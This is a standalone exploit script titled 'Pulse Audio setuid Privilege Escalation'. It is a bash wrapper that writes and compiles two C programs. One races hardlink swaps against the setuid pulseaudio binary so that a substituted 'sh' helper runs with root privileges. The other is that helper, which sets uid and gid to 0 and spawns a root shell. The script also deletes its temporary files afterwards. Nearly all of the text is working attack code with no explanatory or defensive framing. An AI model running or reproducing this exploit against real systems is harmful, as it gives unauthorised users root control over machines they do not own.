Pulse Audio setuid Privilege Escalation

`#!/bin/bash  
  
pulseaudio=`which pulseaudio`  
workdir="/tmp"  
#workdir=$HOME  
id=`which id`  
shell=`which sh`  
  
trap cleanup INT  
  
function cleanup()  
{  
rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c   
rm -rf $workdir/PATMP*  
}  
  
cat > $workdir/pa_race.c << __EOF__  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <time.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
  
#define PULSEAUDIO_PATH "$pulseaudio"  
#define SH_PATH "$workdir/sh"  
#define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX"  
  
void _pause(long sec, long usec);  
  
int main(int argc, char *argv[], char *envp[])  
{  
int status;  
pid_t pid;  
char template[sizeof(TMPDIR_TEMPLATE)];  
char *tmpdir;  
char hardlink[sizeof(template) + 2];  
char hardlink2[sizeof(template) + 12];  
  
srand(time(NULL));  
  
for( ; ; )  
{  
snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);  
template[sizeof(template) - 1] = '\0';  
  
tmpdir = mkdtemp(template);  
if(tmpdir == NULL)  
{  
perror("mkdtemp");  
return 1;  
}  
  
snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);  
hardlink[sizeof(hardlink) - 1] = '\0';  
  
snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);  
hardlink2[sizeof(hardlink2) - 1] = '\0';  
  
/* this fails if $workdir is a different partition */  
if(link(PULSEAUDIO_PATH, hardlink) == -1)  
{  
perror("link");  
return 1;  
}  
  
if(link(SH_PATH, hardlink2) == -1)  
{  
perror("link");  
return 1;  
}  
  
pid = fork();  
  
if(pid == 0)  
{  
char *argv[] = {hardlink, NULL};  
char *envp[] = {NULL};  
  
execve(hardlink, argv, envp);  
  
perror("execve");  
return 1;  
}  
  
if(pid == -1)  
{  
perror("fork");  
return 1;  
}  
else  
{  
/* tweak this if exploit does not work */  
_pause(0, rand() % 500);  
  
if(unlink(hardlink) == -1)  
{  
perror("unlink");  
return 1;  
}  
  
if(link(SH_PATH, hardlink) == -1)  
{  
perror("link");  
return 1;  
}  
waitpid(pid, &status, 0);  
}  
  
if(unlink(hardlink) == -1)  
{  
perror("unlink");  
return 1;  
}  
  
if(unlink(hardlink2) == -1)  
{  
perror("unlink");  
return 1;  
}  
  
if(rmdir(tmpdir) == -1)  
{  
perror("rmdir");  
return 1;  
}  
}  
  
return 0;  
}  
  
void _pause(long sec, long usec)  
{  
struct timeval timeout;  
  
timeout.tv_sec = sec;  
timeout.tv_usec = usec;  
  
if(select(0, NULL, NULL, NULL, &timeout) == -1)  
{  
perror("select");  
}  
}  
__EOF__  
  
cat > $workdir/sh.c << __EOF__  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/types.h>  
  
  
int main(int argc, char *argv[], char *envp[])  
{  
if(geteuid() != 0)  
{  
return 1;  
}  
  
setuid(0);  
setgid(0);  
  
if(fork() == 0)  
{  
argv[0] = "$id";  
argv[1] = NULL;  
execve(argv[0], argv, envp);  
return 1;  
}  
  
argv[0] = "$shell";  
argv[1] = NULL;  
execve(argv[0], argv, envp);  
return 1;  
}  
__EOF__  
  
gcc -o $workdir/pa_race $workdir/pa_race.c  
gcc -o $workdir/sh $workdir/sh.c  
  
$workdir/pa_race  
  
  
`